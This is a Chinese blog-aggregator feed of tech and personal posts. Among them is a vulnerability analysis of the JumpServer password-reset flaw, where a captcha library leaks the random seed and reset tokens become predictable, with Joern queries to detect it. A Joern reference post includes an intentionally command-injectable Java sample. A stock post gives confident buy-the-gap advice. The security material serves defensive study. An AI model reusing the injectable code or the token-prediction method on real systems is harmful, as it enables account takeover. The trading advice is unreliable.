- 博客 Jiajun的编程随想 2023-11-06 08:00:00《解决 macOS 终端hostname一直变化问题》macOS 终端有时候名字会变化，网上查到的原因说是因为 macOS 会从 DHCP 服务器取值，解决的办法很简单，执行如下命令(假设你准备把hostname改成 mbp)...
- 博客 二丫讲梵 2023-11-06 06:01:27如要阅读全文，点击标题跳转。在昨晚之前啊，我在许多方面对女生存在一定的偏见，从而使“女人实在讨厌”一类的思想在我的脑海里先入为主地生根发芽时，我让自己对女生不得亲近，从而丧失了太多的具象的感性体验，就这样的我竟然还说是懂女人的，实在不知自己之前缘何这般自信，大概是无知的缘故吧。已经很明显了吧，我昨晚的成长是女人带给我的确为事实，然而又绝非是谁与我共度了初夜，而是我在与一群女生共同劳动中，我看到了另一面的女生。（请不要说这另一面是特定环境与心情下的特定表现，我立马认为其好略显片面，知道吗？这另一面是我看到以后又想到的啊，她们仍然是在和平常一样的生活啊）。正是这小小的一面，令我深为感触，并当即决定要作文纪念。
- 博客 MiaoTony's Blog 2023-11-05 20:40:00593
- 博客 Jiajun的编程随想 2023-11-05 08:00:00《KVM 共享 Intel 集成显卡》我比较喜欢折腾虚拟化，最近在折腾的就是这个：把宿主机的 Intel 集成显卡 给 Windows 虚拟机使用。Intel 平台做这个事情非常方便，因为官方有 Intel GVT-g 项目，就是用来把宿主机生成多个虚拟 GPU 给虚拟机用的...
- 博客 二丫讲梵 2023-11-03 17:22:51如要阅读全文，点击标题跳转。学习周刊-总第131期-一个运维群的每日总结记录
- 博客 王子亭的博客 2023-11-01 01:00:00
我从 2019 年开始使用 Beancount 记账，作为一个开发者，我非常喜欢这样的纯文本工具 —— 纯文本意味着我可以使用我最熟悉的编辑器来编辑它、可以使用脚本进行批处理，还可以使用 Git 来进行版本控制，最大程度地利用我熟悉的工具。
在和蛋黄在一起之后，我们的资金和帐目不可避免地混在了一起，如果不把她产生的帐目一起记录进来，那么记账这个事情就显得没有什么意义了。但 Beancount 对于非开发者来说使用门槛还是太高了，需要在本地配置 Python、Git 等环境，前面提到的那样纯文本的优势对她来说其实是一种负担。所以她之前一直很难参与进来，即使只是查看 Fava 的图表，也需要我先在我的电脑上启动 Fava，然后把地址发给她。
为了让蛋黄至少能够随时查看图表，我调研了几个现有的 Beancount 托管服务，但我觉得它们都缺少了一些关键的能力：
- Git 访问：纯文本是 Beancount 最大的特点，即使使用托管服务也不应该影响使用 Git 和本地编辑的工作流。
- 多人协作：可以让多人共同访问一个账本，在 Web UI 对账本的修改也应该反应到 Git 中。
于是我开发了 HostedBeans 这个项目 —— 基于 Beancount 的协作托管服务，同时支持 Git 和 Fava 访问，可以为账本添加协作者并管理他们的权限，在 Web UI 上的改动也会以协作者的名字被自动同步进 Git。
使用 HostedBeans 你可以保持之前的工作流不变，在本地使用你熟悉的编辑器、使用 Git 进行版本控制，但同时解锁了随时随地打开 Fava 的能力，而且可以和你的家人共享这种能力，让他们参与到你的记账中来。
目前 HostedBeans 的功能已经全部可用，我还在继续进行一些细节调整来改善体验。如前面所说，HostedBeans 的目标是 Beancount 和 Fava 的托管服务，我今后我专注在「托管」这个方向上，不会添加「私有」的功能来锁定用户，确保用户可以随时迁移出来。比如 HostedBeans 不会自己实现任何实际的「功能」，而是会接入 Beancount 和 Fava 社区既有的插件，如有必要会直接在上游的开源项目中来开发功能。
欢迎访问 www.hostedbeans.io 注册帐号试用，我们的免费版本可以让你创建一个私有的账本并和其他一名协作者一起记账。如有疑问或者建议欢迎通过邮件、Telegram 或者 Twitter 联系我，联系我还可以免费获赠 Pro 帐号。
本文原载于 HostedBeans 的文档页面
- 博客 构建我的被动收入 2023-10-31 08:00:00本文分享我在海外银行证券开户薅羊毛及被割韭菜的故事。
- 博客 吕小荣的网志 2023-10-30 08:00:00
亲爱的沐沐，
你今年二年级了，在某些数学题目上你一错再错，一些简单的英文文法也不长记性。我曾经尝试教你定期复习，但你总是不愿意遵守。
我决定以一种奇特的方式让你复习。我来扮演笨拙的家长，“谦虚”的请教你错题。我看上去越是愚蠢，你就努力用更浅显的方式教授我知识。
这是一道你的错题，我让你用方块和积木的方式来讲解这道题目，而不是用乘法口诀。你居然兴致盎然给我讲解了半个小时。
理查德·费曼费曼是著名物理学家、诺贝尔物理学奖得主，他相信如果一个人能向别人清楚地解说一件事，那么他就真正掌握了这门知识。费曼学习法“以教促学”。
此外，我越来越少因为学习这件事向你发飙了，回顾了历次对你的呵斥，我发现并不是你的懒惰和马虎，而是我和学校的问题。
-
b d p q不分，不是马虎和粗心导致，而是因为你有轻微的 阅读障碍，新加坡的总理李光耀也有类似问题。
-
6 x 7和42÷6是抽象公式，小孩在大脑内建模需要循序渐进。 -
你在学校成绩不够优秀，并不是因为你不够刻苦，而是因为其他学生更优秀更刻苦。
-
小学一年级的时候，你的数学成绩差，本质上是因为教材有大量生字。数学考察的并不是计算能力，而是语文阅读能力。
-
刚入小学，老师夸奖其他小朋友很安静，课间的时候都在默默做作业，而你却去厕所里嬉戏打闹。当初我觉得你不服管教，现在看来是教育局的领导泯灭人性，连孩子的课间十分钟都剥夺了。成人工作的 8 个小时，还会允许自己休息一下，却要求小孩一口气坐 8 个小时。
你是一个小树苗，就按照自己的进度茁壮成长吧。
我是一个新手家长，也请你将就一下吧。
-
- 博客 Skywind Inside 2023-10-30 01:03:00
作为 Yacc/Bison 的好搭档 Lex/Flex 是一个很方便的工具，可以通过写几行规则就能生成一个新的词法分析器，大到给你的 parser 提供 token 流，小到解析一个配置文件，都很有帮助；而用 Python 实现一个支持自定义规则的类 Flex/Lex 词法分析器只需要短短 56 行代码，简单拷贝粘贴到你的代码里，让你的代码具备基于可定制规则的词法分析功能。 原理很简单，熟读 Python 文档的同学应该看过 regex module 帮助页面最下面有段程序： def tokenize(code): keywords = {'IF', 'THEN', 'ENDIF', 'FOR', 'NEXT', 'GOSUB', 'RETURN'} token_specification = [ ('NUMBER', r'\d+(\.\d*)?'), # Integer or … Continue reading →
The post 56 行代码用 Python 实现一个 Flex/Lex appeared first on Skywind Inside.
- 博客 二丫讲梵 2023-10-29 06:51:05如要阅读全文，点击标题跳转。今天的年轻人，可说是毫无志气的，也没有人在生活中谈论志气，及时行乐的思想充斥在人们的脑中，眼前，耳里，口里，没有人愿意去十年寒窗苦，因为到处都是年少成名，九零后亿万富翁之类的宣传，人们都绞尽脑汁，挖空心思，削尖脑袋朝那里边儿扎，却毫不顾问一下自己，果真有那个心胸与德行吗？经济（钱）为主导的今天，人们都不屑于那所谓的士子德操，都以赶紧赚到钱为要事，却没有人考虑该怎样挣钱，以及怎样花钱。
- 博客 二丫讲梵 2023-10-29 06:39:20如要阅读全文，点击标题跳转。某人并不信鬼神，更不屑于耍弄这一套的人。但总也乐于好奇一下，便慕着大名找到王大仙，说明来意之后，恭恭敬敬地端坐在大仙对面，听着他的指点。
- 博客 二丫讲梵 2023-10-29 06:31:18如要阅读全文，点击标题跳转。通常我们的南北流量的链路是从云的 LB 到服务器的 Nginx 集群，为了利用好 lb 自动检测 Nginx 的功能，通常你会打开健康检查，此时，Nginx 的日志当中就会打印大量的健康检查日志，令人不胜其烦。
- 博客 二丫讲梵 2023-10-27 17:25:29如要阅读全文，点击标题跳转。学习周刊-总第130期-批量将语雀文档导出为本地Markdown的项目
- 博客 小胡子哥的个人网站 2023-10-27 15:13:00处理原则：1. 连续出现 Load1、Load5、Load15 的报警，要格外引起注意，系统可能真的吃不消了; 2. Load 飙高，CPU 也高，赶紧 CPU Profile 找原因; 3. Load 飙高，CPU 不高，观察 top 中的 wa 以及日志中的超时报错，如果确定是网络问题，直接置换机器
- 博客 LoRexxar's Blog 2023-10-26 15:18:19
Jumpserver是一个开源的django架构的堡垒机系统，由lawliet & zhiniang peng(@edwardzpeng) with Sangfor在上个月报送了这个漏洞
漏洞原理其实比较神奇，一个常用的第三方组件库django-simple-captcha有泄露随机数种子的问题，再配合Jumpserver使用了错误的随机数方案导致了最终的漏洞。
漏洞成因
这里我们的目标不是分析漏洞，所以这里简单快速的分析下漏洞的成因，具体的漏洞分析可以看下面两篇文章
- https://www.leavesongs.com/PENETRATION/jumpserver-sep-2023-multiple-vulnerabilities-go-through.html
- https://www.cnblogs.com/zpchcbd/p/17747778.html
在分析代码级的漏洞成因之前，我想作为计算机相关的工作者，我们应该都有一个共识，就是计算机中没有真正意义的伪随机，无论是任何语言的随机数生成函数几乎都是从类似
/dev/random的地方取值，这里我们不讨论随机数底层的问题。在代码的上层，我们几乎可以认为如果你不知道随机数的种子，那么你就无法对随机数做出预测。换言之，如果我们知道随机数的种子，我们就有一定的概率预测随机数。
django-simple-captcha是Django的相关组件中非常流行的验证码生成库，就像phith0n所说，在国内你几乎没有别的选择，引入的方式超级简单，只要在配置里引入对应库
1
2
3INSTALLED_APPS = [
...
'captcha',然后加入对应的验证码路由
1
2
3urlpatterns += [
path('core/auth/captcha/', include('captcha.urls')),
]最后只要在对应的form中加入验证码的字段就行了
1
2class CaptchaMixin(forms.Form):
captcha = CaptchaField(widget=CustomCaptchaTextInput, label=_('Captcha'))但事实上，看似简单的django-simple-captcha中实际包含着一个很大的问题。
django-simple-captcha 随机数种子泄露
这个问题在0.5.19版本中被修复
这里其实涉及到了django-simple-captcha的一个feature，在设计上其实是允许通过key来指定随机数种子的，这个feature是为了让同一个key可以对应同一个验证码，用来实现验证码的对应。
而这里的key是一个已知的值，就是用于生成验证码的参数
换言之，我们可以得知当前Random的随机数种子，甚至可以控制这个种子。
修复的方案也很简单粗暴，只要在生成结束之后用随机一个新种子就可以了
那么这对jumpserver又有什么影响呢？
JumpServer 密码重置漏洞
相比django-simple-captcha来说，JumpServer更像是一个受害者，虽然存在一些安全隐患但本身并不致命。我们可以猜想一下随机数在一般的系统里常用的场景。
- 重置密码
- 激活码、兑换码
相比激活码的场景来说，重置密码的常见程度更高，如果系统内没有刻意对管理员账号做限制，那么如果可以预测重置密码的验证结果，那么就可以获得一个超级管理员权限，而JumpServer的代码中是这样做的。
/apps/authentication/api/password.py
重置密码用的code使用了random_string来生成，然后看看random_string的定义
这个函数在jumpserver中重做过好几次，但大同小异，其实就是用random.choice从列表中选取随机字符，最终生成最后的验证码。
这里我们不去细纠这个利用方式中的细节点，这不是本篇文章的讨论重点，简单来说就是
- 通过**django-simple-captcha泄露当前random的种子**
- 通过种子推测有限次的random结果（其中不仅仅包括密码重置token，还有验证码噪点等）
这样我们就通过对随机数的预测实现进一步的漏洞利用，而修复的方案也很简单
在最初版本的修复方案中，Jumpserver在获取密码重置token时重置了当前随机数种子。这个修复方案也没什么问题。
在后来的改动中，可能是因为看了P牛的文章，Jumpserver把random换成了secrets，相对来说比前一个方案更稳定一些，也是相关文档中推荐的方案
For Joern
从源代码的角度来讲，这个漏洞成因可以分成两部分
- 存在泄露随机数种子，或者可以控制随机数种子的位置
- 在未显式重置随机数种子的基础上，引用了random来生成随机数
随机数种子泄露
其实这个漏洞用Joern来处理挺吃力的，首先是Joern只会处理目标目录下的源码，而在正常的环境下，python引入的包其实都在python的目录下，也就是说理论上我们无法在分析项目的时候，顺便分析django-simple-captcha。
这里我们强行引入下分析django-simple-captcha包
1
2
3
4
5
6
7
8
9
10
11
12
13> .\joern
██╗ ██████╗ ███████╗██████╗ ███╗ ██╗
██║██╔═══██╗██╔════╝██╔══██╗████╗ ██║
██║██║ ██║█████╗ ██████╔╝██╔██╗ ██║
██ ██║██║ ██║██╔══╝ ██╔══██╗██║╚██╗██║
╚█████╔╝╚██████╔╝███████╗██║ ██║██║ ╚████║
╚════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═══╝
Version: 2.0.52
Type `help` to begin
joern> importCode("../captcha/")先找到random.seed调用的位置
先检查调用位置到函数定义位置是否有数据联通
1
2
3
4def source = cpg.method("seed").caller.parameter
def sink = cpg.method("seed").callIn
sink.reachableByFlows(source).p
得到的答案是肯定的，seed的参数key可控，接着找对应的路由，在django里路由一般是用path，而这个组件使用re_path
1
2from django.urls import path
from django.urls import re_path我们可以直接快捷的查看相应的路由函数调用位置
然后通过对应的调用函数来获取指定的路由
1
cpg.method("re_path").callIn.filter(_._callViaAstOut.code.contains("views.captcha_image")).l
当然可能也不用这么麻烦，理论上来说直接设置source也是可以连起来的，只不过re_path读取key的方式是正则匹配，所以原装的reachableByFlows无法处理这种情况，我们只能强行做一些限制
1
cpg.method("re_path").callIn.filter(_._callViaAstOut.code.contains("views.captcha_image")).filterNot(_.argument.code.contains("<key>")).l
由于这条命令可以获取结果，所以代表着存在可以设置随机数种子的路由和对应的参数。
当然，由于漏洞的特殊性不仅仅在于可控，还需要后续没有进一步重置随机数种子，所以我们还需要更多的条件来确认这一点。
其实要做到这点也并不复杂，只需要确认，在设置seed种子的方法中，没有调用过无参的seed方法即可。
1
cpg.method("seed").caller.filter(_._callViaContainsOut.filter(_.name.contains("seed")).filter(_.argument.size<2).size==0).l
上面这条命令的意思是
- 寻找seed方法的调用方法
- 寻找该方法中调用的方法中，名字为seed，并参数为0(joern中，参数index为0的位置表示为this，也就是当前方法所属的类)
- 展示调用方法中，满足条件的调用数量为0的方法
如果返回结果，则证明该方法中没有重置新的随机数种子，当然，到这里并不能完全的验证这个结论，毕竟这里指处理了显式重置，如果是更严格的数据流分析，应该从重置随机数种子的位置入手，确认是否有数据流经过，但这种方案对于joern来说比较困难，这里先不深入到这个级别研究。
JumpServer密码重置漏洞
这里分析JumpServer的时候遇到的最大的问题是JumpServer的代码量有点儿大，导入到Joern里有83万个节点:<
其实相比Django-simple-captcha的问题来说，JumpServer的问题在源代码的角度上来说更不像一个问题，只能算是一个使用错误的范例，有潜在的风险。我们需要用joern完成的工作包括两部分
- 在获取随机数之前，没有重置过随机数种子
- 在获取随机数之前，共执行了多少次随机操作
先找到对应调用random.choice方法的方法
而调用过seed方法重置随机数种子的位置只有一个，看了一下没有相关的引用关系，看上去像是一段测试代码
由于场景特殊，这里我们用不到那么深入的数据流分析，只需要在对应重置密码的路由中确认是否调用random.choice方法就行了
这里直接用repeat untils来实现就可以
repeat…untils…还是那个老问题，容易递归爆炸，路径重复问题严重，我觉得这是joern实现里一个非常普遍的问题，但至少可以确定两个调用位置的连通性。
接下来我们的问题变成了，我们如何知道在这条数据流中random调用了多少次。
我尝试了几次之后发现，如果想要在语句上控制限制范围，以确认random的调用次数，会遇到比较多的问题，正向分析的深入深度问题，以及循环分支的次数数据问题，问题比想象中的大，我暂且认为这不是joern的适用场景。
而相应的修复就更简单了，直接换用secrets替代random会直接影响到前面的方法发现，我们就无法获得对应的数据流了。
- 博客 二丫讲梵 2023-10-20 17:26:48如要阅读全文，点击标题跳转。我是在高一上学期末接触的文学， 从这儿开始，一发不可收拾地买书，读书，直到今天彻底走进文学。文学给我带来了很多的转变与收获，今天就说说文学对我性格的影响。人生的很多第一次的体验会对人有很多奇妙且重大的影响，文学亦然，拉你走进的第一本书，第一个作者，都会影响你的文格与人格的塑造。我记得那时读完的第一本书是《李敖和他的女人们》，李敖变成了我的偶像启蒙人，在后来买的最多读的最多的就是他的书，幸甚，他是一个极有原则的人，于是，他身上的坦率快意，务实勤奋，扶正摧邪被我偷学不少，而坦率，是我那一个时期尤其用心的。
- 博客 二丫讲梵 2023-10-20 17:20:50如要阅读全文，点击标题跳转。学习周刊-总第129期-域名证书过期检测项目以及又一个redis客户端
- 博客 LoRexxar's Blog 2023-10-20 15:05:47
在深入了解Joern的源码以及设计的时候发现Joern其实实现了很多不常用语法，很多文档中没提到的东西，其实都有比较简洁实用的方式，但也从源码的设计中发现，其实Joern的设计理念也有很多问题，这个我们以后再写到。
本篇内容可以结合https://cpg.joern.io/食用
基础常见节点结构
Annotation 注解
Annotation是Java中的注解节点
- astOut：通过ast边指向的节点列表
- astIn：通过ast边指向Annotation的节点列表
- argumentOut：Annotation的参数节点列表
- _annotationParameterAssignViaAstOut：Annotation的参数(ANNOTATION_PARAMETER_ASSIGN)节点列表
- __memberViaAstIn：通过ast边指向的member节点列表
- __methodViaAstIn：通过ast边指向的method节点列表
- __methodParameterInViaAstIn：通过ast边指向的method参数节点列表
- _typeDeclViaAstIn：Annotation对应的类定义节点列表
argument 参数
- _expressionViaArgumentOut：通过ARGUMENT边指向的argument节点列表
- _astNodeViaArgumentOut：通过ARGUMENT边指向的ast节点列表
- astIn：通过AST边指向Argument的节点列表
if/else/for/do/continue/break/throw/switch/try/while条件分支
包含已知的所有分支跳转循环节点，包括if/else/for/do/continue/break/throw/switch/try/while等…
- argumentOut：条件节点指向的argument节点列表
- astOut：通过ast边指向的节点列表
- _blockViaAstOut：通过ast边指向的block节点列表
- _callViaAstOut：通过ast边指向的call节点列表
- _controlStructureViaAstOut：通过ast边指向的条件分支节点列表
- _identifierViaAstOut：通过ast边指向的变量列表
- _returnViaAstOut：通过ast边指向的return节点列表
- cdgOut：通过cdg边指向的节点列表
- _blockViaCdgOut：通过cdg边指向的block节点列表
- _callViaCdgOut：通过cdg边指向的call节点列表
- _controlStructureViaCdgOut：通过cdg边指向的条件分支节点列表
- _returnViaCdgOut：通过cdg边指向的return节点列表
- cfgOut：通过cfg边指向的节点列表
- conditionOut：条件分支(if, else if)对应的条件节点列表
- _blockViaConditionOut：条件分支(if, else if)对应的block类型条件节点列表
- _callViaConditionOut：条件分支(if, else if)对应的call类型条件节点列表
- _controlStructureViaConditionOut: 条件分支(if, else if)对应的同样为条件分支(else if)的条件节点列表
- astIn: 通过ast边指向当前节点的节点列表
- _blockViaAstIn：通过ast边指向当前节点的block节点列表
- _callViaAstIn：通过ast边指向当前节点的call节点列表
- containsIn：包含当前节点的Method节点列表
call 调用
- argumentOut：指向调用节点的参数节点列表
- _blockViaArgumentOut：指向调用节点的block类型参数节点列表
- _callViaArgumentOut：指向调用节点的call类型参数节点列表
- _controlStructureViaArgumentOut：指向调用节点的条件分支类型参数节点列表
- astOut：通过ast边指向的节点列表
- _blockViaAstOut：通过ast边指向的block节点列表
- _callViaAstOut：通过ast边指向的call节点列表
- _controlStructureViaAstOut：通过ast边指向的条件分支节点列表
- _identifierViaAstOut：通过ast边指向的变量列表
- _returnViaAstOut：通过ast边指向的return节点列表
- _methodViaCallOut：call调用的对应method节点
- cdgOut：通过cdg边指向的节点列表
- _blockViaCdgOut：通过cdg边指向的block节点列表
- _callViaCdgOut：通过cdg边指向的call节点列表
- _controlStructureViaCdgOut：通过cdg边指向的条件分支节点列表
- _returnViaCdgOut：通过cdg边指向的return节点列表
- cfgOut：通过cfg边指向的节点列表
- conditionOut：条件分支(if, else if)对应的条件节点列表
- _blockViaConditionOut：条件分支(if, else if)对应的block类型条件节点列表
- _callViaConditionOut：条件分支(if, else if)对应的call类型条件节点列表
- _controlStructureViaConditionOut: 条件分支(if, else if)对应的同样为条件分支(else if)的条件节点列表
- astIn: 通过ast边指向当前节点的节点列表
- _blockViaAstIn：通过ast边指向当前节点的block节点列表
- _callViaAstIn：通过ast边指向当前节点的call节点列表
- containsIn：包含当前节点的Method节点列表
Comment 注释
- file：注释所在的file节点
- astIn：通过ast边指向当前节点的节点列表
- _fileViaAstIn：指向当前注释节点的文件节点
- sourceFileIn：通过SOURCE_FILE指向当前节点的节点列表
File 文件
- astOut：file节点通过ast边指向的节点列表
- comment：file节点对应的comment节点
- _importViaAstOut：file节点对应的import节点
- _namespaceBlockViaAstOut：file节点对应namespace节点
- containsOut：file节点包含的节点列表
- _methodViaContainsOut：file节点包含的method节点列表
- _typeDeclViaContainsOut：file节点包含的类定义节点列表
- sourceFileIn：通过SOURCE_FILE边连接到当前节点的节点列表
- method：通过SOURCE_FILE边连接到当前节点的method节点列表
- namespaceBlock：通过SOURCE_FILE边连接到当前节点的namespaceBlock节点列表
- typeDecl：通过SOURCE_FILE边连接到当前节点的typeDecl节点列表
method 方法
- astOut：通过ast边指向的节点列表
- _annotationViaAstOut：通过ast边指向的annotation节点列表
- _methodViaCallOut：call调用的对应method节点
- block：method节点下对应的block节点
- parameter：method节点对应参数节点列表
- _methodParameterOutViaAstOut：method对应的METHOD_PARAMETER_OUT节点
- methodReturn：method节点对应的return节点列表
- _modifierViaAstOut：method节点对应的modifier修饰词
- _typeDeclViaAstOut：method节点对应的class节点
- cfgOut：通过cfg边指向的节点列表
- cfgFirst：通过cfg边指向的第一个节点
- containsOut：method通过contains边指向的节点列表
- _blockViaContainsOut：method通过contains边指向的block节点列表
- _callViaContainsOut：method通过contains边指向的call节点列表
- _controlStructureViaContainsOut：method通过contains边指向的条件节点列表
- astIn: 通过ast边指向当前节点的节点列表
- _blockViaAstIn：通过ast边指向当前节点的block节点列表
- _namespaceBlockViaAstIn：通过ast边指向当前节点的namespaceBlock节点列表
- _typeDeclViaAstIn：通过ast边指向当前节点的类定义节点列表
- callIn：当前method节点的对应call调用节点
- cfgIn：通过cfg边指向当前节点的节点列表
- containsIn：包含当前节点的节点列表，通过contains边指向当前节点
- _fileViaContainsIn：包含当前节点的file节点
- _typeDeclViaContainsIn：包含当前节点的类定义节点
namespace 命名空间
joern中命名空间分为namespace和namespaceBlock两个节点，file->namespaceBlock->namespace，所以这两个节点可以混在一起讲
- Namespace._namespaceBlockViaRefIn：指向namespace的namespaceBlock节点
- NamespaceBlock._namespaceViaRefOut：bock对应的namespace节点
- NamespaceBlock.astOut：namespaceBlock节点通过ast边指向的节点
- NamespaceBlock._methodViaAstOut：通过ast边指向的method节点
- NamespaceBlock._typeDeclViaAstOut：通过ast边指向的class类定义节点
- NamespaceBlock.sourceFileOut：namespace对应的file节点
- NamespaceBlock._fileViaSourceFileOut：namespace对应的file节点
- NamespaceBlock.astIn：通过ast边指向当前节点的节点列表
- NamespaceBlock._fileViaAstIn：通过ast边指向当前节点的file节点列表
parameter 参数
parameter在joern被定义为，函数定义的参数，而不是函数调用的参数，所以这个节点几乎只和method节点链接
- astOut：通过ast边指向的节点列表
- typ：参数节点对应的类型
- parameterLinkOut：参数节点对应的返回节点列表
- method：参数节点对应的method节点
ret 返回值
return对应method节点的返回
- argumentOut：通过argument边指向的节点列表
- astOut：通过ast边指向的节点列表
- _blockViaAstOut：通过ast边指向的block节点列表
- _callViaAstOut：通过ast边指向的call节点列表
- _controlStructureViaAstOut：通过ast边指向的条件分支节点列表
- _identifierViaAstOut：通过ast边指向的变量列表
- _returnViaAstOut：通过ast边指向的return节点列表
- _methodReturnViaCfgOut：return节点对应的method节点
- astIn: 通过ast边指向当前节点的节点列表
- _blockViaAstIn：通过ast边指向当前节点的block节点列表
- _callViaAstIn：通过ast边指向当前节点的call节点列表
- _controlStructureViaAstIn：通过ast边指向当前节点的条件分支节点列表
- cfgIn：通过cfg边指向当前节点的节点列表
- containsIn：包含当前节点的节点列表，通过contains边指向当前节点
- _methodViaContainsIn：包含当前节点的method节点
- conditionIn：和当前节点有直接关系的条件节点
- _controlStructureViaConditionIn：和当前节点有直接关系的条件节点
TypeDecl 类定义
TypeDecl等于常规意义上class的概念
- astOut：通过ast边指向的节点列表
- _annotationViaAstOut：通过ast边指向的annotation节点列表
- _memberViaAstOut：通过ast边指向的member变量列表
- _methodViaAstOut：通过ast边指向的method节点列表
- _typeDeclViaAstOut：通过ast边指向的class类定义节点
- _methodViaContainsOut：类节点下包含的方法节点
- inheritsFromOut：继承自的class类定义节点
- sourceFileOut：当前节点所属的file节点
- _fileViaSourceFileOut：当前节点所属的file节点
- astIn: 通过ast边指向当前节点的节点列表
- _methodViaAstIn：通过ast边指向当前节点的method节点列表
- namespaceBlock：通过ast边指向当前节点的namespaceBlock节点列表
- _typeDeclViaAstIn：通过ast边指向当前节点的class类定义节点
特殊语法关系
method方法特殊语法
1
2
3
4
5
6
7
8
9@GetMapping("/codeinject")
public String codeInject(String filepath) throws IOException {
String[] cmdList = new String[]{"sh", "-c", "ls -la " + filepath};
ProcessBuilder builder = new ProcessBuilder(cmdList);
builder.redirectErrorStream(true);
Process process = builder.start();
return WebUtils.convertStreamToString(process.getInputStream());
}- caller
当前节点的调用位置方法，比如
cpg.method("start").caller就会返回codeInject方法- callIn
当前方法/函数节点的调用位置，比如
cpg.method("start").callIn就会返回调用start方法的call节点- cpg.method(“start”)
名为start的方法的定义节点
读取向外的所有边
- cpg.method.head.outE.map(n=>n.label).l
获取当前节点向外所有的边，并展示边类型
- cpg.method.head.outE.map(n=>n.inNode).l
获取当前节点向外所有的边，并展示连接到的节点
- 博客 Jiajun的编程随想 2023-10-17 08:00:00《PromQL 备忘》偶尔需要写PromQL，但是总是不记得，以下为备忘。表达式语言数据类型包括以下四种...
- 博客 二丫讲梵 2023-10-16 05:56:09如要阅读全文，点击标题跳转。在中国往往事大于人，乃至大于天，当事情已经进入状态，则连学校最大领导也变得听之任之，唯之诺之。任凭老天下雨，也阻拦不住其行进，这可算一奇观。在“独立之人格，自由之思想”，极度缺乏的大学校园，很多很多不正常，不应该，不可能变得正常，应该，可能，这是悲哀之所在。
- 博客 二丫讲梵 2023-10-16 05:53:42如要阅读全文，点击标题跳转。我在想，领导的意义是什么？因为很多人并不知道领导是干嘛的，他们以为领导就是指挥指导的。甚至连被领导的人也这么认为，但我想这根本不是领导，这是压榨剥削的主子。领导的意义在于提供平台出来，相信手下的能力，然后使之在可保护的范围内自由发挥，而不是对一切都插手，干预。
- 博客 二丫讲梵 2023-10-13 17:28:26如要阅读全文，点击标题跳转。学习周刊-总第128期-两个json处理相关的开源项目
- 博客 离别歌 2023-10-13 10:00:00
前几天在『代码审计』知识星球里发了一个小挑战：https://t.zsxq.com/13bFX1N8F
<?php $password = trim($_REQUEST['password'] ?? ''); $name = trim($_REQUEST['name'] ?? 'viewsource'); function viewsource() {show_source(__FILE__... - 博客 maxOS 2023-10-08 20:50:04国庆假期去日本，在网上没有找到关于从深圳过境香港去日本的流程，不确定需要带哪些证件，于是自己走了一遍流程之后将其记录下来。
- 博客 离别歌 2023-10-07 10:04:00
Jumpserver是中国国内公司开发的一个开源项目，在开源堡垒机领域一家独大。在2023年9月官方集中修复了一系列安全问题，其中涉及到如下安全漏洞：
- 博客 胡涂说 2023-10-06 11:45:00616
- 博客 二丫讲梵 2023-10-06 00:00:40如要阅读全文，点击标题跳转。学习周刊-总第127期-优秀的运维实践ansible剧本
- 博客 二丫讲梵 2023-09-29 04:48:08如要阅读全文，点击标题跳转。学习周刊-总第126期-与grafana类似的国人开发的监控平台
- 博客 二丫讲梵 2023-09-22 17:48:50如要阅读全文，点击标题跳转。学习周刊-总第125期-几款开源的各语言私服项目
- 博客 forecho 的独立博客 2023-09-22 17:30:00
引言
跳空缺口是股票技术分析中的一个重要概念，它常常被当做股票的重要支撑位和阻力位，这篇文章主要介绍跳空缺口的原理和使用方法。
什么是跳空缺口
特点：
- 缺口是一种价格差异，它是由于股票价格在一个交易日收盘后和下一个交易日开盘时产生的价格差异，而这个区间内没有成交记录。
- 整个缺口区域都是支撑位和阻力位，只要没有被回补完，就代表有一定的支撑或阻力。
- 缺口的大小表示力量的大小，缺口越大，力量越大。
- 跳空缺囗如果在 2-3 天内被回补，则可视为「假突破」。
这一现象一般在市场受到重大新闻或事件影响时出现，致使股票价格在短期内发生剧烈波动。在技术分析领域，跳空缺口被认为是一个有力的趋势指标，它往往预示着接下来可能出现的大规模价格波动。
技术分析师常用跳空缺口来定位股票的支撑和阻力水平，也利用它来识别可能的趋势变化。通常，跳空缺口可以提供如下三种关键信号：
- 强势趋势的触发器：它可以作为强烈买入或卖出的指标。
- 缺口影响力的比较：相对于长红或长绿的 K 线，缺口往往更能反映市场的强势或弱势。
- 未来价格走势的预测：根据缺口的方向，可以推断股票将来的价格变化，以及是否有突破横盘整理区间的可能性。
跳空缺口的类型
普通缺口
特点：
- 力量比较小
- 通常处于股票的横盘区间
- 没有突破横盘区间的趋势
这种缺口参考意义不大，很快可以被补上，不需要关注。
突破缺口
特点：
- 出现在横盘区间位置，行情发动阶段，预示着股票向上或者向下
- 通常伴随着大量的成交量
信号：
- 跳空向上突破，强力买入，只要缺口没有被回补完，就代表有一定的支撑
- 跳空向下突破，强力卖出，只要缺口没有被回补完，就代表有一定的阻力
看到突破缺口一定要抓住机会，跳空向上突破的，不要怕高，冲进去。
逃逸缺口
因可以大约地预测股价未来可能移动的距离，所以又称为测量缺口，特点：
- 与突破缺口相似，只是位置不一样
- 通常出现在股票的上升/下跌趋势中
- 表现市场的强势或弱势将会继续
信号：
- 强势股票的逃逸缺口，代表股票的上升趋势将会继续
- 弱势股票的逃逸缺口，代表股票的下跌趋势将会继续
遇到逃逸缺口先不要急着进场，要观察股票几天看会不会回补缺口，如果不回补缺口，就可以等股票回撤后买上涨的那天的收盘价，如果回补缺口，就不要买了。
竭尽缺口
特点：
- 通常出现在股票的行情末期
- 股票在高位，交易量放大
- 代表着股票被疯狂的追高或者抛售，其上升/下跌趋势将会结束
- 通常行情很快结束，股票价格一般在 3 天会回补缺口
信号：
- 表示多空力量都在竭尽最后的力量，行情即将结束
- 也是做波段的好时机
如何使用跳空缺口
4 个类型的缺口，我们重点关注突破缺口就可以了。
容易涨的位置：
- 多头起涨位置，交易量放大，向上跳空突破
- 多头突破压力位，交易量放大，向上跳空突破
容易跌的位置：
- 多头连续上涨。高位，交易量放大，向上竭尽缺口
- 多头上涨遇到阻力位，交易量放大，向下跳空
注意事项
首先，理解 4 种不同类型的跳空缺口至关重要，因为它们预示着不同的后续市场走势。例如，逃逸缺口通常表明上涨趋势将持续，而竭尽缺口则往往是即将发生趋势反转的信号。
对于向上跳空缺口，若想准确预测其后续走势，最理想的情况是缺口突破了压力线，并伴随着成交量逐渐增加。缺口越大，其后续上升的可能性也越高。在这种情况下，可考虑买入。然而，对于希望避免追高并持保守投资策略的人来说，建议在股价稍微回落时再进行买入。
